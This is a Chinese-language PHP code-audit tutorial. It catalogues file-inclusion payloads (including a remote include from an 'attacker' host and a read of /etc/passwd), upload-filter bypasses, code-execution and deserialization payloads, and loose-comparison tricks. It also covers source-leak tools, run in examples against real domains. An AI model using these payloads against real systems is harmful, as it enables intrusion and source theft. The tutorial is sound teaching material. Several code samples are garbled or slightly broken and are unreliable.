PHP代碼審計

常見的導(dǎo)致文件包含的函數(shù)有:

PHP:include()``include_once()``require()``require_once() fopen() readfile() 等

JSP / Servlet:ava.io.File()``java.io.FileReader()等

ASP:includefile``includevirtual 等

當(dāng) PHP 包含一個文件時,會將該文件當(dāng)做 PHP 代碼執(zhí)行,而不會在意文件時什么類型

<?php

$file = $_GET['file'];

if (file_exists('/home/wwwrun/'.$file.'.php')) {

? include '/home/wwwrun/'.$file.'.php';

}

?>

上述代碼存在本地文件包含,可用 %00 截斷的方式讀取 /etc/passwd 文件內(nèi)容。

%00 截斷

file=../../../../../../../../../etc/passwd%00

需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效。

路徑長度截斷

file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

Linux 需要文件名長于 4096,Windows 需要長于 256。

點(diǎn)號截斷

file=../../../../../../../../../boot.ini/………[…]…………

只適用 Windows,點(diǎn)號需要長于 256。

遠(yuǎn)程文件包含,Remote File Inclusion,RFI。

<?php

if ($route == "share") {

? require_once $basePath . "/action/m_share.php";

} elseif ($route == "sharelink") {

? require_once $basePath . "/action/m_sharelink.php";

}

構(gòu)造變量 basePath 的值。

/?basePath=http://attacker/phpshell.txt?

最終的代碼執(zhí)行了

require_once "http://attacker/phpshell.txt?/action/m_share.php";

問號后的部分被解釋為 URL 的 querystring,這也是一種「截斷」。

普通遠(yuǎn)程文件包含

file=[http|https|ftp]://example.com/shell.txt

需要 allow_url_fopen=On 并且 allow_url_include=On。

利用 PHP 流 input

file=php://input

需要 allow_url_include=On。

利用 PHP 流 filter

file=php://filter/convert.base64-encode/resource=index.php

需要 allow_url_include=On。

利用 data URIs

file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

需要 allow_url_include=On。

利用XSS 執(zhí)行

file=http://127.0.0.1/path/xss.php?xss=phpcode

需要 allow_url_fopen=On,allow_url_include=On并且防火墻或者白名單不允許訪問外網(wǎng)時,先在同站點(diǎn)找一個 XSS 漏洞,包含這個頁面,就可以注入惡意代碼了。

文件上傳

文件上傳漏洞是指用戶上傳了一個可執(zhí)行腳本文件,并通過此文件獲得了執(zhí)行服器端命令的能力。在大多數(shù)情況下,文件上傳漏洞一般是指上傳 web 腳本能夠被服務(wù)器解析的問題,也就是所謂的 webshell 問題。完成這一攻擊需要這樣幾個條件,一是上傳的文件能夠這 web 容器執(zhí)行,其次用戶能從 web 上訪問這個文件,最后,如果上傳的文件被安全檢查、格式化、圖片壓縮等功能改變了內(nèi)容,則可能導(dǎo)致攻擊失敗。

繞過上傳檢查

前端檢查擴(kuò)展名

抓包繞過即可。

Content-Type 檢測文件類型

抓包修改 Content-Type 類型,使其符合白名單規(guī)則。

服務(wù)端添加后綴

嘗試 %00 截斷。

服務(wù)端擴(kuò)展名檢測

利用解析漏洞。

Apache 解析

phpshell.php.rar.rar.rar.rar 因?yàn)?Apache 不認(rèn)識 .rar 這個文件類型,所以會一直遍歷后綴到 .php,然后認(rèn)為這是一個 PHP 文件。

IIS 解析

IIS 6 下當(dāng)文件名為 abc.asp;xx.jpg 時,會將其解析為 abc.asp。

PHP CGI 路徑解析

當(dāng)訪問http://www.a.com/path/test.jpg/notexist.php 時,會將 test.jpg 當(dāng)做 PHP 解析,notexist.php是不存在的文件。此時 Nginx 的配置如下

location ~ \.php$ {? root html;? fastcgi_pass 127.0.0.1:9000;? fastcgi_index index.php;? fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;? include fastcgi_param;}

其他方式

后綴大小寫、雙寫、特殊后綴如 php5 等,修改包內(nèi)容的大小寫過 WAF 等。

全局變量覆蓋

變量如果未被初始化,且能夠用戶所控制,那么很可能會導(dǎo)致安全問題。

register_globals=ON

實(shí)例

<?php

echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";

if ($auth) {

? echo "private!";

}

?>

當(dāng) register_globals=ON 時,提交 test.php?auth=1,auth變量將自動得到賦值。

extract() 變量覆蓋

extract() 函數(shù)能夠?qū)⒆兞繌臄?shù)組導(dǎo)入到當(dāng)前的符號表,其定義為

int extract ( array $var_array [, int $extract_type [, string $prefix ]] )

其中,第二個參數(shù)指定函數(shù)將變量導(dǎo)入符號表時的行為,最常見的兩個值是 EXTR_OVERWRITE 和 EXTR_SKIP。

當(dāng)值為 EXTR_OVERWRITE 時,在將變量導(dǎo)入符號表的過程中,如果變量名發(fā)生沖突,則覆蓋所有變量;值為 EXTR_SKIP 則表示跳過不覆蓋。若第二個參數(shù)未指定,則在默認(rèn)情況下使用 EXTR_OVERWRITE。

<?php

$auth = "0";

extract($_GET);

if ($auth == 1) {

? echo "private!";

} else {

? echo "public!";

}

?>

當(dāng) extract() 函數(shù)從用戶可以控制的數(shù)組中導(dǎo)出變量時,可能發(fā)生變量覆蓋。

import_request_variables 變量覆蓋

bool import_request_variables (string $types [, string $prefix])

import_request_variables 將 GET、POST、Cookies 中的變量導(dǎo)入到全局,使用這個函數(shù)只用簡單地指定類型即可。

<?php

$auth = "0";

import_request_variables("G");

if ($auth == 1) {

? echo "private!";

} else {

? echo "public!";

}

?>

import_request_variables("G") 指定導(dǎo)入 GET 請求中的變量,提交 test.php?auth=1 出現(xiàn)變量覆蓋。

parse_str() 變量覆蓋

void parse_str ( string $str [, array &$arr ])

parse_str() 函數(shù)通常用于解析 URL 中的 querystring,但是當(dāng)參數(shù)值可以被用戶控制時,很可能導(dǎo)致變量覆蓋。

// var.php?var=new? 變量覆蓋$var = [color=var(--theme-color, #42b983)]"init";parse_str($_SERVER[[color=var(--theme-color, #42b983)]"QUERY_STRING"]);print $var;

與 parse_str() 類似的函數(shù)還有 mb_parse_str()。

命令執(zhí)行直接執(zhí)行代碼

PHP 中有不少可以直接執(zhí)行代碼的函數(shù)。

eval();assert();system();exec();shell_exec();passthru();escapeshellcmd();pcntl_exec();等

preg_replace() 代碼執(zhí)行

preg_replace() 的第一個參數(shù)如果存在 /e 模式修飾符,則允許代碼執(zhí)行。

<?php

$var = "<tag>phpinfo()</tag>";

preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);

?>

如果沒有 /e 修飾符,可以嘗試 %00 截斷。

動態(tài)函數(shù)執(zhí)行

用戶自定義的函數(shù)可以導(dǎo)致代碼執(zhí)行。

<?php

$dyn_func = $_GET["dyn_func"];

$argument = $_GET["argument"];

$dyn_func($argument);

?>

反引號命令執(zhí)行

<?php

echo `ls -al`;

?>

Curly Syntax

PHP 的 Curly Syntax 也能導(dǎo)致代碼執(zhí)行,它將執(zhí)行花括號間的代碼,并將結(jié)果替換回去。

<?php

$var = "aaabbbccc ${`ls`}";

?>

<?php

$foobar = "phpinfo";

${"foobar"}();

?>

回調(diào)函數(shù)

很多函數(shù)都可以執(zhí)行回調(diào)函數(shù),當(dāng)回調(diào)函數(shù)用戶可控時,將導(dǎo)致代碼執(zhí)行。

<?php

$evil_callback = $_GET["callback"];

$some_array = array(0,1,2,3);

$new_array = array_map($evil_callback, $some_array);

?>

攻擊 payload

[AppleScript] 純文本查看 復(fù)制代碼

http://www.a.com/index.php?callback=phpinfo

反序列化

如果 unserialize() 在執(zhí)行時定義了 __destruct() 或 __wakeup() 函數(shù),則有可能導(dǎo)致代碼執(zhí)行。

[PHP] 純文本查看 復(fù)制代碼

?

1

2

3

4

5

6

7

8

9

<?php

class Example {

? var $var = "";

? function __destruct() {

? ? eval($this->$var);

? }

}

unserialize($_GET["saved_code"]);

?>

攻擊 payload

[AppleScript] 純文本查看 復(fù)制代碼

?

1

http://www.a.com/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

PHP 特性

數(shù)組

[PHP] 純文本查看 復(fù)制代碼

?

1

2

3

4

5

<?php

$var = 1;

$var = array();

$var = "string";

?>

php 不會嚴(yán)格檢驗(yàn)傳入的變量類型,也可以將變量自由的轉(zhuǎn)換類型。

比如在 $a == $b 的比較中

[PHP] 純文本查看 復(fù)制代碼

?

1

2

3

4

$a = null;

$b = false; //為真

$a = '';

$b = 0; //同樣為真

然而,PHP 內(nèi)核的開發(fā)者原本是想讓程序員借由這種不需要聲明的體系,更加高效的開發(fā),所以在幾乎所有內(nèi)置函數(shù)以及基本結(jié)構(gòu)中使用了很多松散的比較和轉(zhuǎn)換,防止程序中的變量因?yàn)槌绦騿T的不規(guī)范而頻繁的報錯,然而這卻帶來了安全問題。

[PHP] 純文本查看 復(fù)制代碼

?

1

2

3

4

0=='0' //true

0 == 'abcdefg' //true

0 === 'abcdefg' //false

1 == '1abcdef' //true

魔法Hash

[PHP] 純文本查看 復(fù)制代碼

?

1

2

3

"0e132456789"=="0e7124511451155" //true

"0e123456abc"=="0e1dddada" //false

"0e1abc"=="0"? //true

在進(jìn)行比較運(yùn)算時,如果遇到了0e\d+這種字符串,就會將這種字符串解析為科學(xué)計數(shù)法。所以上面例子中 2 個數(shù)的值都是 0 因而就相等了。如果不滿足0e\d+這種模式就不會相等。

十六進(jìn)制轉(zhuǎn)換

[PHP] 純文本查看 復(fù)制代碼

?

1

2

3

"0x1e240"=="123456" //true

"0x1e240"==123456 //true

"0x1e240"=="1e240" //false

當(dāng)其中的一個字符串是 0x 開頭的時候,PHP 會將此字符串解析成為十進(jìn)制然后再進(jìn)行比較,0x1240解析成為十進(jìn)制就是 123456,所以與 int 類型和 string 類型的 123456 比較都是相等。

類型轉(zhuǎn)換

常見的轉(zhuǎn)換主要就是 int 轉(zhuǎn)換為 string,string轉(zhuǎn)換為 int。

int 轉(zhuǎn) string:

[PHP] 純文本查看 復(fù)制代碼

?

1

2

3

$var = 5;

方式1:$item = (string)$var;

方式2:$item = strval($var);

string 轉(zhuǎn) int:intval()函數(shù)。

對于這個函數(shù),可以先看 2 個例子。

[PHP] 純文本查看 復(fù)制代碼

?

1

2

3

var_dump(intval('2')) //2

var_dump(intval('3abcd')) //3

var_dump(intval('abcd')) //0

說明intval()轉(zhuǎn)換的時候,會將從字符串的開始進(jìn)行轉(zhuǎn)換知道遇到一個非數(shù)字的字符。即使出現(xiàn)無法轉(zhuǎn)換的字符串,intval()不會報錯而是返回 0。

同時,程序員在編程的時候也不應(yīng)該使用如下的這段代碼:

[PHP] 純文本查看 復(fù)制代碼

?

1

2

3

if(intval($a)>1000) {

mysql_query("select * from news where id=".$a)

}

這個時候 $a 的值有可能是 1002 union。

內(nèi)置函數(shù)的參數(shù)的松散性

內(nèi)置函數(shù)的松散性說的是,調(diào)用函數(shù)時給函數(shù)傳遞函數(shù)無法接受的參數(shù)類型。解釋起來有點(diǎn)拗口,還是直接通過實(shí)際的例子來說明問題,下面會重點(diǎn)介紹幾個這種函數(shù)。

md5()

[PHP] 純文本查看 復(fù)制代碼

?

1

2

3

4

5

6

$array1[] = array(

"foo" => "bar",

"bar" => "foo",

);

$array2 = array("foo", "bar", "hello", "world");

var_dump(md5($array1)==var_dump($array2)); //true

PHP 手冊中的 md5()函數(shù)的描述是 string md5 ( string $str [, bool $raw_output = false ] ),md5()中的需要是一個 string 類型的參數(shù)。但是當(dāng)你傳遞一個 array 時,md5()不會報錯,只是會無法正確地求出 array 的 md5 值,這樣就會導(dǎo)致任意 2 個 array 的 md5 值都會相等。

strcmp()

strcmp()函數(shù)在 PHP 官方手冊中的描述是 intstrcmp ( string $str1 , string $str2 ),需要給 strcmp() 傳遞 2 個 string 類型的參數(shù)。如果 str1 小于 str2,返回-1,相等返回 0,否則返回 1。strcmp()函數(shù)比較字符串的本質(zhì)是將兩個變量轉(zhuǎn)換為 ASCII,然后進(jìn)行減法運(yùn)算,然后根據(jù)運(yùn)算結(jié)果來決定返回值。

如果傳入給出strcmp()的參數(shù)是數(shù)字呢?

[PHP] 純文本查看 復(fù)制代碼

?

1

$array=[1,2,3];[/align]var_dump(strcmp($array,'123')); //null,在某種意義上null也就是相當(dāng)于false。

switch()

如果switch()是數(shù)字類型的 case 的判斷時,switch 會將其中的參數(shù)轉(zhuǎn)換為 int 類型。如下:

[PHP] 純文本查看 復(fù)制代碼

?

01

02

03

04

05

06

07

08

09

10

$i ="2abc";

switch ($i) {

case 0:

case 1:

case 2:

echo "i is less than 3 but not negative";

break;

case 3:

echo "i is 3";

}

這個時候程序輸出的是i is less than 3 but not negative,是由于switch()函數(shù)將$i進(jìn)行了類型轉(zhuǎn)換,轉(zhuǎn)換結(jié)果為 2。

in_array()

在 PHP 手冊中,in_array()函數(shù)的解釋是bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) ,如果strict參數(shù)沒有提供,那么in_array就會使用松散比較來判斷$needle是否在$haystack中。當(dāng) strince 的值為 true 時,in_array()會比較 needls 的類型和 haystack 中的類型是否相同。

[PHP] 純文本查看 復(fù)制代碼

?

1

2

3

$array=[0,1,2,'3'];

var_dump(in_array('abc', $array)); //true

var_dump(in_array('1bc', $array)); //true

可以看到上面的情況返回的都是 true,因?yàn)?abc'會轉(zhuǎn)換為 0,'1bc'轉(zhuǎn)換為 1。

array_search()與in_array()也是一樣的問題。

尋找源代碼備份

hg 源碼泄露

hg init 時會產(chǎn)生 .hg 文件。

利用工具 dvcs-ripper

https://github.com/kost/dvcs-ripper

Git 源碼泄露

.git 目錄內(nèi)有代碼的變更記錄等文件,如果部署時該目錄下的文件可被訪問,可能會被利用來恢復(fù)源代碼。

/.git/.git/HEAD/.git/index/.git/config/.git/description

GitHack

https://github.com/lijiejie/GitHack

python GitHack.py

http://www.openssl.org/.git/

.DS_Store 文件泄露

Mac OS 中會包含有 .DS_Store 文件,包含文件名等信息。

利用工具 ds_store_exp

https://github.com/lijiejie/ds_store_exp

[Bash shell] 純文本查看 復(fù)制代碼

?

1

python ds_store_exp.py [url]http://hd.zj.qq.com/themes/galaxyw/.DS_Storehd.zj.qq.com/[/url][/align][align=left]

[Bash shell] 純文本查看 復(fù)制代碼

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

hd.zj.qq.com/

└── themes

? ? └── galaxyw

? ? ? ? ├──app

? ? ? ? │? └── css

? ? ? ? │? ? ? └── style.min.css

? ? ? ? ├── cityData.min.js

? ? ? ? ├── images

? ? ? ? │? └── img

? ? ? ? │? ? ? ├── bg-hd.png

? ? ? ? │? ? ? ├── bg-item-activity.png

? ? ? ? │? ? ? ├── bg-masker-pop.png

? ? ? ? │? ? ? ├── btn-bm.png

? ? ? ? │? ? ? ├── btn-login-qq.png

? ? ? ? │? ? ? ├── btn-login-wx.png

? ? ? ? │? ? ? ├── ico-add-pic.png

? ? ? ? │? ? ? ├── ico-address.png

? ? ? ? │? ? ? ├── ico-bm.png

? ? ? ? │? ? ? ├── ico-duration-time.png

? ? ? ? │? ? ? ├── ico-pop-close.png

? ? ? ? │? ? ? ├── ico-right-top-delete.png

? ? ? ? │? ? ? ├── page-login-hd.png

? ? ? ? │? ? ? ├── pic-masker.png

? ? ? ? │? ? ? └── ticket-selected.png

? ? ? ? └── member

? ? ? ? ? ? ├── assets

? ? ? ? ? ? │? ├── css

? ? ? ? ? ? │? │? ├── ace-reset.css

? ? ? ? ? ? │? │? └── antd.css

? ? ? ? ? ? │? └── lib

? ? ? ? ? ? │? ? ? ├── cityData.min.js

? ? ? ? ? ? │? ? ? └── ueditor

? ? ? ? ? ? │? ? ? ? ? ├── index.html

? ? ? ? ? ? │? ? ? ? ? ├── lang

? ? ? ? ? ? │? ? ? ? ? │? └── zh-cn

? ? ? ? ? ? │? ? ? ? ? │? ? ? ├── images

? ? ? ? ? ? │? ? ? ? ? │? ? ? │? ├── copy.png

? ? ? ? ? ? │? ? ? ? ? │? ? ? │? ├── localimage.png

? ? ? ? ? ? │? ? ? ? ? │? ? ? │? ├── music.png

? ? ? ? ? ? │? ? ? ? ? │? ? ? │? └── upload.png

? ? ? ? ? ? │? ? ? ? ? │? ? ? └── zh-cn.js

? ? ? ? ? ? │? ? ? ? ? ├── php

? ? ? ? ? ? │? ? ? ? ? │? ├── action_crawler.php

? ? ? ? ? ? │? ? ? ? ? │? ├── action_list.php

? ? ? ? ? ? │? ? ? ? ? │? ├── action_upload.php

? ? ? ? ? ? │? ? ? ? ? │? ├── config.json

? ? ? ? ? ? │? ? ? ? ? │? ├── controller.php

? ? ? ? ? ? │? ? ? ? ? │? └── Uploader.class.php

? ? ? ? ? ? │? ? ? ? ? ├── ueditor.all.js

? ? ? ? ? ? │? ? ? ? ? ├── ueditor.all.min.js

? ? ? ? ? ? │? ? ? ? ? ├── ueditor.config.js

? ? ? ? ? ? │? ? ? ? ? ├── ueditor.parse.js

? ? ? ? ? ? │? ? ? ? ? └── ueditor.parse.min.js

? ? ? ? ? ? └── static

? ? ? ? ? ? ? ? ├──css

? ? ? ? ? ? ? ? │? └── page.css

? ? ? ? ? ? ? ? ├──img

? ? ? ? ? ? ? ? │├──bg-table-title.png

? ? ? ? ? ? ? ? │├──bg-tab-say.png

? ? ? ? ? ? ? ? │? ├── ico-black-disabled.png

? ? ? ? ? ? ? ? │? ├── ico-black-enabled.png

? ? ? ? ? ? ? ? │? ├── ico-coorption-person.png

? ? ? ? ? ? ? ? │? ├── ico-miss-person.png

? ? ? ? ? ? ? ? │? ├── ico-mr-person.png

? ? ? ? ? ? ? ? │? ├── ico-white-disabled.png

? ? ? ? ? ? ? ? │? └── ico-white-enabled.png

? ? ? ? ? ? ? ? └── scripts

? ? ? ? ? ? ? ? ? ? ├──js

? ? ? ? ? ? ? ? ? ? └──lib

? ? ? ? ? ? ? ? ? ? ? ? └── jquery.min.js

21 directories, 48 files

網(wǎng)站備份文件

管理員備份網(wǎng)站文件后錯誤地將備份放在 Web 目錄下。

常見的后綴名:

.rar.zip.7z.tar.tar.gz.bak.txt

SVN 泄露

敏感文件:

/.svn/.svn/wc.db/.svn/entries

dvcs-ripper

https://github.com/kost/dvcs-ripper

[Perl] 純文本查看 復(fù)制代碼

?

1

perl rip-svn.pl -v -u [url]http://www.example.com/.svn/[/url]

Seay - SVN

網(wǎng)址自行查找。

WEB-INF / web.xml 泄露

WEB-INF 是 Java Web 應(yīng)用的安全目錄,web.xml 中有文件的映射關(guān)系。

WEB-INF 主要包含一下文件或目錄:

/WEB-INF/web.xml:Web 應(yīng)用程序配置文件,描述了 servlet 和其他的應(yīng)用組件配置及命名規(guī)則。

/WEB-INF/classes/:含了站點(diǎn)所有用的 class 文件,包括 servlet class 和非 servlet class,他們不能包含在。jar 文件中。

/WEB-INF/lib/:存放 web 應(yīng)用需要的各種 JAR 文件,放置僅在這個應(yīng)用中要求使用的 jar 文件,如數(shù)據(jù)庫驅(qū)動 jar 文件。

/WEB-INF/src/:源碼目錄,按照包名結(jié)構(gòu)放置各個 java 文件。

/WEB-INF/database.properties:數(shù)據(jù)庫配置文件。

通過找到 web.xml 文件,推斷 class 文件的路徑,最后直接 class 文件,在通過反編譯 class 文件,得到網(wǎng)站源碼。 一般情況,jsp 引擎默認(rèn)都是禁止訪問 WEB-INF 目錄的,Nginx 配合 Tomcat 做均衡負(fù)載或集群等情況時,問題原因其實(shí)很簡單,Nginx 不會去考慮配置其他類型引擎(Nginx 不是 jsp 引擎)導(dǎo)致的安全問題而引入到自身的安全規(guī)范中來(這樣耦合性太高了),修改 Nginx 配置文件禁止訪問 WEB-INF 目錄就好了:

location ~ ^/WEB-INF/* { deny all; } # 或者return 404; 或者其他!

CVS 泄露

http://url/CVS/Root 返回根信息http://url/CVS/Entries 返回所有文件的結(jié)構(gòu)

取回源碼

bk clone http://url/name dir

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

推薦閱讀更多精彩內(nèi)容